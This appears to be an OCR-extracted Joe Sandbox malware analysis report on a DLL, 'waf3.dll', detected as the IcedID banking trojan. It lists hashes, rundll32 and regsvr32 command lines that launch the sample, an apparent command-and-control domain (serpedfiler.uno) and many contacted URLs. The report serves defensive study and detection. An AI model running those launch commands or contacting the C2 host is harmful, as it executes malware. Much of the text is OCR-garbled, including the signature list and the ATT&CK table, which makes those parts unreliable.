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Analysis Report waf3.dll

Overview

General Information

Sample waf3.dll
Name:

Analysis ID: 365892

MD5: b9bed9be452140..
SHAL: 586652a68363b9..
SHA256: 20a196b102d578..
Tags:

Infos: Qg+t QS

Most interesting Screenshot:

Startup

= System is w10x64

e [ loaddil64.exe (PID: 4660 cmdline: loaddll64.exe 'C:\Users\user\Desktop\waf3.dll' MD5: AA23807629688C6BB738E4ED35503E85)

. D rundll32.exe (PID: 1492 cmdline: rundll32.exe 'C:\Users\user\Desktop\waf3.dllI';#1 MD5: 73C519F050C20580F8A62C849D49215A)

e [ regsvr32.exe (PID: 1720 cmdline: regsvr32.exe /s C:\Users\user\Desktop\waf3.dll MD5: D78B75FC68247E8A63ACBA846182740E)
cmd.exe (PID: 3576 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
. @ iexplore.exe (PID: 5656 cmdline: C:\Program Files\Internet Exploreniexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8SAC5E7596)

. @ iexplore.exe (PID: 5628 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5656 CREDAT:17410 /prefetch:2 MD5:

Score:

Range:

Whitelisted:

Confidence:

Detection

F MALICIOUS ]

64

0-100
false

100%

071277CC2E3DFA1EEEA8013E2AB58D5A)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source

dump.pcap

Memory Dumps

Source

Rule
JoeSecurity_IcedID_1

Rule

00000002.00000002.200583737.0000000000E53000.00000 JoeSecurity_lcedID_1

004.00000020.sdmp

00000001.00000002.202064213.00000239B663F000.00000 JoeSecurity_lcedID_1

004.00000001.sdmp

00000001.00000003.200791539.00000239B663F000.00000 JoeSecurity_lcedID_1

004.00000001.sdmp
Copyright Joe Security LLC 2021

System process connects to networ...
Yara detected IcedID
Contains functionality.
Tries to detect virtualization
Contains functionality for execution ...
Contains functionality/te callinative fi..
Contains functionality to/create: guar...
Contains functionality te guery/netwo...

Creates alprocess|inisuspendedimo...

to detect hard...

through...

Detected potentiallcryptolfunction

HITR GETy or: POSTF without:aluser: ...

|IP'addressiseeniiniconnection withio:.:

Internet Provider'seen in connection...

Description

Yara detected
IcedID

Description

Yara detected
IcedID

Yara detected
IcedID

Yara detected
IcedID

Author

Joe Security

Author

Joe Security

Joe Security

Joe Security

w
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>
2
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=
®
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Strings

Strings

Classification
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Source Rule Description Author Strings

Process Memory Space: regsvr32.exe PID: 1720 JoeSecurity_IcedID_1  Yara detected Joe Security
IcedID

Process Memory Space: rundll32.exe PID: 1492 JoeSecurity_IcedID_1  Yara detected Joe Security
IcedID

Sigma Overview

No Sigma rule has matched

Signature Overview

@ AV Detection

® Compliance

@ Networking

@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

® Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Remote Access Functionality

@

AV Detection:

Click to jump to signature section

=

Yara detected IcedID

=

E-Banking Fraud:

Yara detected IcedID

j‘

Malware Analysis System Evasion:

= “

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

‘]

Yara detected IcedID

=

Remote Access Functionality:

Yara detected IcedID

0
)
«Q
[
a
[e]
=
o)
a1
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Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Networ
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Windows DLL Side-  Process Masquerading oS Security Software Remote Archive Exfiltration Encrypted Eavesdi
Accounts Management  Loading Injection Credential ~ Discovery Services Collected  Over Other Channel Insecure
Instrumentation Dumping Data Network Network
Medium Commu
Default Scheduled Boot or DLL Side- Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Ingress Tool Exploit ¢
Accounts Task/Job Logon Loading Evasion Memory Evasion Desktop Removable Over Transfer Redirec
Initialization Protocol Media Bluetooth Calls/st
Scripts
Domain At (Linux) Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Non- Exploit ¢
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Exfiltration  Application Track D
Manager Shared Layer Locatior
Drive Protocol
Local At (Windows)  Logon Script Logon Script Process NTDS Account Discovery Distributed Input Scheduled Application SIM Cal
Accounts (Mac) (Mac) Injection Component Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon  Regsvr32 LSA System Owner/User  SSH Keylogging Data Fallback Manipul
Accounts Logon Script Script Secrets Discovery Transfer Channels Device
Size Limits Commu
Replication Launchd Rc.common Rc.common Rundll32 Cached Remote System VNC GUI Input  Exfiltration Multiband Jammin
Through Domain Discovery Capture Over C2 Communication Denial ¢
Removable Credentials Channel Service
Media
External Scheduled Startup Startup Items DLL Side-Loading DCSync System Network Windows Web Portal Exfiltration = Commonly Rogue \
Remote Task Iltems Configuration Remote Capture Over Used Port Access
Services Discovery Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Indicator Removal Proc File and Directory Shared Credential Exfiltration Application Downgr
Compromise Scripting Task/Job Task/Job from Tools Filesystem Discovery Webroot API| Over Layer Protocol Insecure
Interpreter Hooking Symmetric Protoco
Encrypted
Non-C2
Protocol
Exploit PowerShell At (Linux) At (Linux) Masquerading letc/passwd System Information Software Data Exfiltration Web Protocols Rogue (
Public- and Discovery Deployment  Staged Over Base St
Facing letc/shadow Tools Asymmetric
Application Encrypted
Non-C2
Protocol

Behavior Graph
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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~ @ & || Search..

Microsoft tritt fiir den Schutz lhrer Privatsphdre ein.

Microsoft und unsere Drittanbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichern und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitgestellt, verwaltet und verbessert werden kGnnen. Wenn Sie zustimmen,
personalisieren MSN die angezeigten Inhalte und Anzeigen. Sie kénnen 'Akzeptieren’ auswahlen, um dieser Verwendung
Zuzustimmen, oder auf ‘Zwecke anzeigen® Klicken, um Ihre Optionen zu iiberpriifen. Sie kénnen Ihre Auswahl unter ‘Einstellungen
verwalten® unten auf dieser Seite dndem, Datenschutzerkisrung.

Wir und unserer Partner verarbeiten Daten, um

prazise Geolokalisierungsdaten zu verwenden und aktiv Gerateeigenschaften zur Identifizierung zu scannen. Dies dient dazu,
Infermationen auf einem Gerdt zu speichern und darauf zuzugreifen sowie personalisierte Anzeigen und Inhalte, Anzeigen- und
Inhaltsmessung, Einblicke in die Zielgruppe und Informationen zur Produktentwicklung bereitzustellen

tiste der Partner (Anl

Akzep

Zwecke anzeigen

0 Type here to search g

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
waf3.dll 3% Virustotal Browse
waf3.dll 3% Metadefender Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
tls13.taboola.map.fastly.net 0% Virustotal Browse
serpedfiler.uno 1% Virustotal Browse
edge.gycpi.b.yahoodns.net 0% Virustotal Browse
img.img-taboola.com 1% Virustotal Browse

URLs
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https://www.virustotal.com/gui/file/20a196b102d578c0a786df804eebcc3b2ab2cee885df816cd7499f779a83ef59/detection/f-20a196b102d578c0a786df804eebcc3b2ab2cee885df816cd7499f779a83ef59-1615344560
https://www.metadefender.com/#!/results/file/bzIxMDMwOV81UDY1bER5WUtQSmQ1WWJTMnFW/regular/analysis
https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1615181016
https://www.virustotal.com/gui/url/36570b5c1aeb776ebc48c898b0078b80a1451464ed22a74e44bf0de103fc7c06/detection/u-36570b5c1aeb776ebc48c898b0078b80a1451464ed22a74e44bf0de103fc7c06-1615320559
https://www.virustotal.com/gui/url/4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495/detection/u-4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495-1614705783
https://www.virustotal.com/gui/url/98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714/detection/u-98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714-1615342857

Source
hitp://serpedfiler.uno/

hitp://https://onedrive.live.com;Fotos

hitp://https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-

honeycode-hom

hitp://serpedfiler.uno:80/j
hitp:/focsp.scalb.amazontrust.com06
hitp:/focsp.scalb.amazontrust.com06
hitp:/focsp.scalb.amazontrust.com06
hitp://ocsp.rootcal.amazontrust.comO:
hitp://crl.rootg2.amazontrust.com/rootg2.crl0
hitp://crl.rootg2.amazontrust.com/rootg2.crl0
hitp://crl.rootg2.amazontrust.com/rootg2.crl0
hitp://https://onedrive.live.com;OneDrive-App
hitp://serpedfiler.uno/l

Domains and IPs

Contacted Domains

Name

contextual.media.net
tls13.taboola.map.fastly.net
dr49Ing3n1n2s.cloudfront.net

Ig3.media.net

IP

184.30.24.22
151.101.1.44
143.204.3.74
184.30.24.22

Active
true
true
true

true

Detection
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Malicious
false
false
false

false

Scanner

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud

Antivirus Detection

e 0%, Virustotal, Browse

Label

safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

Link

Reputation
high
unknown
high

high

geolocation.onetrust.com
edge.gycpi.b.yahoodns.net
s.yimg.com
web.vortex.data.msn.com
Www.msh.com
srth.msn.com
sl.adform.net
img.img-taboola.com
cvision.media.net

aws.amazon.com

Contacted URLs

Name

URLs from Memory and Binaries

Name

hitp://searchads.msn.net/.cfm?&&kp=1&

hitp://https://dc.ads.linkedin.com/collect/?pid=3038&fmt=gif

hitp://https://onedrive.live.com;Fotos

hitp://https://fral-ib.adnxs.com/click?

104.20.184.68
87.248.118.22
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Source

{EB3E65B9-81A7-11EB-90E4-ECF4B

B862DED}.dat.5.dr

true

true

unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Malicious

rundll32.exe, 00000001.0000000

2.202064213.00000239B663F000.0

0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000

00002DB0000.00000004.00000001.

sdmp

85-0f8009-68ddb2ab[1].js.6.dr

auction[1].htm.6.dr

ykuU8ZabyT_KS5TxIrrJPWAAAOCjcPk_ykuU8Za6yT_KS5TxIr

rJP50fq6Gpxj0A87V1
hitp://https://www.awinl.com/cread.php?

de-ch[1].htm.6.dr

awinmid=15168&awinaffid=696593&clickref=de-ch-ss&ued=htt

hitp://https://aws.amazon.com/ar/

Copyright Joe Security LLC 2021

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0

0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000

00002DB0000.00000004.00000001.

sdmp

false
false
false
false
false
false
false
false
false

false

e 0%, Virustotal, Browse

e 1%, Virustotal, Browse

Antivirus Detection

Malicious

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

high
unknown
high
high
high
high
high
unknown
high
high

Reputation

Rep
high

high

low

high

high

high

utation
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1615181016
https://www.virustotal.com/gui/url/36570b5c1aeb776ebc48c898b0078b80a1451464ed22a74e44bf0de103fc7c06/detection/u-36570b5c1aeb776ebc48c898b0078b80a1451464ed22a74e44bf0de103fc7c06-1615320559
https://www.virustotal.com/gui/url/4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495/detection/u-4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495-1614705783
https://www.virustotal.com/gui/url/98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714/detection/u-98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714-1615342857

Name Source Malicious Antivirus Detection Reputation

hitp://https://www.honeycode.aws/? rundll32.exe, 00000001.0000000 false e Avira URL Cloud: safe unknown
&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm- 2.202064213.00000239B663F000.0
2020-honeycode-hom 0000004.00000001.sdmp, regsvr32.exe,

00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

hitp://https://aws.amazon.com/cn/?ncl=h_ls regsvr32.exe, 00000002.0000000 false high

2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

http:/f rundlI32.exe, 00000001.0000000 false high
https://portal.aws.amazon.com/gp/aws/developer/registration/i 2.202064213.00000239B663F000.0
ndex.html?ncl=f_ct&src=default 0000004.00000001.sdmp, regsvr32.exe,

00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp:i/https:/ires- {EB3E65B9-81A7-11EB-90E4-ECF4B  false high
a.akamaihd.net/__media__/pics/8000/72/941/fallbackl.jpg B862DED}.dat.5.dr
hitp://https://www.msn.com/de-ch/news/other/sbb-kippen- de-ch[1].htm.6.dr false high
umstrittenen-gestaltungsplan-talevo/ar-BB1lepgKQ?ocid
hitp://https://a0.awsstatic.com/libra-css/css/1.0.374/style- rundll32.exe, 00000001.0000000 false high
awsm.css 2.202064213.00000239B663F000.0

0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp://https://www.skyscanner.net/g/referrals/vl/cars/home? de-ch[1].htm.6.dr false high
associateid=API_B2B_19305_00002
hitp://https://aws.amazon.com/ru/ rundll32.exe, 00000001.0000000 false high

2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp://https://www.onenote.com/notebooks? 85-0f8009-68ddb2ab[1].js.6.dr false high
WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn
hitp://https://fls-na.amazon.com/1/action- regsvr32.exe, 00000002.0000000 false high
impressions/1/OE/aws- 2.201119878.0000000002DB0000.0
mktg/action/awsm_:comp_DeprecatedBrowser 0000004.00000001.sdmp
hitp://https://i18n-string.us-west-2.prod.pricing.aws.a2z.com rundll32.exe, 00000001.0000000 false high

2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

hitp://https://aws.amazon.com/ru/?ncl=h_ls regsvr32.exe, 00000002.0000000 false high

2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

hitp://serpedfiler.uno:80/j regsvr32.exe, 00000002.0000000 false e Avira URL Cloud: safe unknown
2.200583737.0000000000E53000.0
0000004.00000020.sdmp

hitp://https://docs.aws.amazon.com/index.html?nc2=h_gl_doc rundll32.exe, 00000001.0000000 false high

2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

hitp://https://aws.amazon.com/ar/?ncl=h_ls regsvr32.exe, 00000002.0000000 false high

2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

hitp:/fiwww.reddit.com/ msapplication.xml4.5.dr false high
hitp:/ auction[1].htm.6.dr false high
https://s1.adform.net/Banners/Elements/Files/2066586/932788

4.jpg?bv=1

hitp://https://aws.amazon.com/th/ rundll32.exe, 00000001.0000000 false high

2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp://https://sp.booking.com/index.html? de-ch[1].htm.6.dr false high
aid=1589774&label=travelnavlink
hitp://https://fls-na.amazon.com/1/action-impressions/1/OE rundll32.exe, 00000001.0000000 false high

3.198832216.00000239B839E000.0
0000004.00000001.sdmp

hitp://https://aws.amazon.com/marketplace/?nc2=h_mo rundll32.exe, 00000001.0000000 false high
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp
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Name

hitp:/focsp.scalb.amazontrust.com06

hitp://https://www.msn.com/de-

ch/news/other/untersuchungen-des-z%c3%bcrcher-unispitals-

entlasten-den-herzch

hitp://https://console.aws.amazon.com/support/home/?

nc2=h_gl_cu

hitp://https://amzn.to/2TTxhNg

hitp://https://www.skype.com/go/onedrivepromo.download?

cm_mmc=MSFT_2390_MSN-com

hitp://https://aws.amazon.com/search/

hitp://https://aws.amazon.com/?nc2=h_Ig

hitp://https://pages.awscloud.com/pi-week-2021.html?
sc_icampaign=Event_m3y20_psc_core-infra_storage_aws-pi-

hitp://ocsp.rootcal.amazontrust.comO:

hitp://https://console.aws.amazon.com/support/home/?

ncl=f_dr

hitp://https://ir2.beap.gemini.yahoo.com/mbcsc?
bv=1.0.0&es=UM9D09QGIS88AQ22519yHeWIPoND7n97spQ

2F_f64xN3
hitp://https://www.msn.com/de-ch

hitp://https://aws.amazon.com/vi/

hitp://https://a0.awsstatic.com/aws-blog/1.0.34/js

hitp://https://click.linksynergy.com/deeplink?
id=xoqYgl4JDe8&mid=46130&ul=dech_mestripe_store&m

hitp://https://www.awinl.com/cread.php?

awinmid=11518&awinaffid=696593&clickref=dech-edge-dhp-

infopa

hitp://https://contextual.media.net/medianet.php?
cid=8CU157172&crid=722878611&size=306x271&http

hitp://crl.rootg2.amazontrust.com/rootg2.crl0

hitp://https://www.msn.com/de-ch/news/other/silvia-steiner-
lockert-corona-massnahmen-an-den-z%c3%bcrcher-sc

Copyright Joe Security LLC 2021

Source

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201096903.00000
00002C90000.00000004.00000001.
sdmp

de-ch[1].htm.6.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

de-ch[1].htm.6.dr
85-0f8009-68ddb2ab[1].js.6.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

regsvr32.exe, 00000002.0000000
2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201096903.00000
00002C90000.00000004.00000001.
sdmp

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

auction[1].htm.6.dr

de-ch[1].htm.6.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

de-ch[1].htm.6.dr

de-ch[1].htm.6.dr

de-ch[1].htm.6.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201096903.00000
00002C90000.00000004.00000001.
sdmp

de-ch[1].htm.6.dr

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Reputation

unknown

high

high

high
high

high

high

high

unknown

high

high

high
high

high

high

high

high

unknown

high
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Name

hitp://https://aws.amazon.com/tw/

hitp://https://aws.amazon.com/tr/?ncl=h_Is

hitp://https://aws.amazon.com/fr/?ncl=h_ls

hitp://https://www.msn.com/de-ch/?

ocid=iehp&item=deferred_page%3al&ignorejs=webcore%2fm

odules%2fjsh

hitp://https://a0.awsstatic.com/libra-search/1.0.13/js

hitp://https://ir2.beap.gemini.yahoo.com/mbcsc?

bv=1.0.0&es=Vy6grtoGIS.OwGK86KrudibZtSvLjDkOa4wJDak

emlil

hitp://https://onedrive.live.com/?qt=mru;OneDrive-App

hitp://https://www.skype.com/de

hitp://https://aws.amazon.com/marketplace?aws=hp

hitp://https://aws.amazon.com/

hitp://https://sp.booking.com/index.html?
aid=1589774&label=dech-prime-hp-me

hitp://https://a0.awsstatic.com/libra-css/images/site/touch-

icon-ipad-144-smile.png

hitp://https://aws.amazon.com/podcasts/aws-podcast/

hitp://https://onedrive.live.com/?
wt.mc_id=0o0_msn_msnhomepage_header

hitp://www.hotmail.msn.com/pii/ReadOutlookEmail/

hitp://https://aws.amazon.com/jp/

hitp://https://onedrive.live.com;OneDrive-App
hitp://www.amazon.com/

hitp://https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_QuickNote&auth=1

hitp:/fiwww.twitter.com/

hitp://https://office.live.com/start/Excel.aspx?
WT.mc_id=MSN_site;Sway

hitp://https://www.msn.com/de-ch/news/other/ich-werde-mit-e-
mails-%c3%bcberh%c3%a4uft-und-auch-bedroht-wie-

hitp://https://cdn.cookielaw.org/vendorlist/googleData.json

hitp://https://outlook.com/
hitp://https://contextual.media.net/checksync.php?

&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prv

id=77%2

hitp://https://aws.amazon.com/de/

hitp://https://www.msn.com/de-
ch/homepage/api/pdp/updatepdpdata”

Copyright Joe Security LLC 2021

Source

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

regsvr32.exe, 00000002.0000000
2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

regsvr32.exe, 00000002.0000000
2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

de-ch[1].htm.6.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

auction[1].htm.6.dr

85-0f8009-68ddb2abl[1].js.6.dr
85-0f8009-68ddb2abl[1].js.6.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.200625359.00000
00000EC0000.00000004.00000020.
sdmp

regsvr32.exe, 00000002.0000000
2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

de-ch[1].htm.6.dr

regsvr32.exe, 00000002.0000000
2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

de-ch[1].htm.6.dr

85-0f8009-68ddb2abl[1].js.6.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

85-0f8009-68ddb2ab[1].js.6.dr
msapplication.xml.5.dr

85-0f8009-68ddb2abl[1].js.6.dr

msapplication.xml5.5.dr

85-0f8009-68ddb2ab[1].js.6.dr

de-ch[1].htm.6.dr

55a804ab-e5¢c6-4h97-9319-86263d
365d28[1].json.6.dr

de-ch[1].htm.6.dr

{EB3E65B9-81A7-11EB-90E4-ECF4B
B862DED}.dat.5.dr

rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

de-ch[1].htm.6.dr

Malicious

false

false

false

false

false

false

false
false

false

false

false

false

false

false

false

false

false
false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

Reputation

high

high

high

high

high

high

high
high
high

high

high

high

high

high

high
high

low
high
high

high
high

high

high

high

high

high

high
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Name Source Malicious Antivirus Detection Reputation

hitp://https://phd.aws.amazon.com/?nc2=h_m_sc rundll32.exe, 00000001.0000000 false high
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp://https://a0.awsstatic.com/libra- rundll32.exe, 00000001.0000000 false high
css/images/logos/aws_logo_smile_1200x630.png 2.202064213.00000239B663F000.0

0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp://serpedfiler.uno/l regsvr32.exe, 00000002.0000000 false e Avira URL Cloud: safe unknown
2.200558328.0000000000E0C000.0
0000004.00000020.sdmp
hitp://https://cdn.cookielaw.org/vendorlist/iab2Data.json 55a804ab-e5c6-4b97-9319-86263d false high
365d28[1].json.6.dr
hitp:/ auction[1].htm.6.dr false high
https://cdn.flurry.com/adTemplates/templates/htmis/clips.html"
http:/f rundlI32.exe, 00000001.0000000 false high
https://portal.aws.amazon.com/gp/aws/developer/registration/i 2.202064213.00000239B663F000.0
ndex.html?nc2=h_ct&src=default 0000004.00000001.sdmp, regsvr32.exe,

00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp://https://www.msn.com/de-ch/?ocid=iehp {EB3E65B9-81A7-11EB-90E4-ECF4B false high
B862DED}.dat.5.dr
hitp://https://sp.booking.com/index.html? de-ch[1].htm.6.dr false high
aid=1589774&label=dech-prime-hp-shoppingstripe-nav
hitp://https://a0.awsstatic.com regsvr32.exe, 00000002.0000000 false high

2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

hitp://https://pages.awscloud.com/fico-case-study.html? rundll32.exe, 00000001.0000000 false high
hp=tile&story=fico 2.202064213.00000239B663F000.0

0000004.00000001.sdmp, regsvr32.exe,

00000002.00000002.201119878.00000

00002DB0000.00000004.00000001.

sdmp

hitp://https://aws.amazon.com/th/?nc1=f_|s regsvr32.exe, 00000002.0000000 false high
2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

hitp:/fiwww.nytimes.com/ msapplication.xml3.5.dr false high

hitp://https://aws.amazon.com/tr/ rundll32.exe, 00000001.0000000 false high
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

hitp://https://sO.awsstatic.com regsvr32.exe, 00000002.0000000 false high
2.201119878.0000000002DB0000.0
0000004.00000001.sdmp

hitp://https://onedrive.live.com/about/en/download/ 85-0f8009-68ddb2ab[1].js.6.dr false high

hitp:/ auction[1].htm.6.dr false high
https://s.yimg.com/lo/api/res/1.2/rEOFnLuyP8tx_n4ki4fI3A--
~A/IZmk9ZmIsbDt3PTIWNztoPTIOMTthcHBpZD1nZW1

hitp://https://a0.awsstatic.com/pricing-savings-plan/js/1.0.6 rundll32.exe, 00000001.0000000 false high
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp

hitp://https://www.amazon.jobs/aws rundll32.exe, 00000001.0000000 false high
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

sdmp
hitp://https://a0.awsstatic.com/libra-css/images/site/touch- regsvr32.exe, 00000002.0000000 false high
icon-iphone-114-smile.png 2.201119878.0000000002DB0000.0

0000004.00000001.sdmp

hitp://https://www.ricardo.ch/? de-ch[1].htm.6.dr false high
utm_source=msn&utm_medium=affiliate&utm_campaign=msn
_mestripe_logo_d

hitp://https://twitter.com/ de-ch[1].htm.6.dr false high

hitp://https://a0.awsstatic.com/libra/1.0.376/libra-head.js rundll32.exe, 00000001.0000000 false high
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.
sdmp
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Name

hitp://https://beap.gemini.yahoo.com/mbclk?

Source

bv=1.0.0&es=ro1zXTIGIS98]MTgNLOAdBt.YyQzJRbbXzvmU7

aRryiBkDW9

hitp://https://console.aws.amazon.com/support/home?

nc2=h_gl_cu

hitp://https://aws.amazon.com/N

hitp://https://outlook.live.com/calendar

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

IP
104.20.184.68
143.198.2.53
87.248.118.22
143.204.3.74

151.101.1.44

sdmp

Domain Country
geolocation.onetrust.com  United States
serpedfiler.uno United States
edge.gycpi.b.yahoodns.net United Kingdom

dr49Ing3n1n2s.cloudfront.n United States
et

tls13.taboola.map.fastly.ne United States
t

General Information

Joe Sandbox Version:

Analysis ID:
Start date:

Start time:

auction[1].htm.6.dr

Joe Sandbox Product:
Overall analysis duration:

Hypervisor based Inspection enabled:

Copyright Joe Security LLC 2021

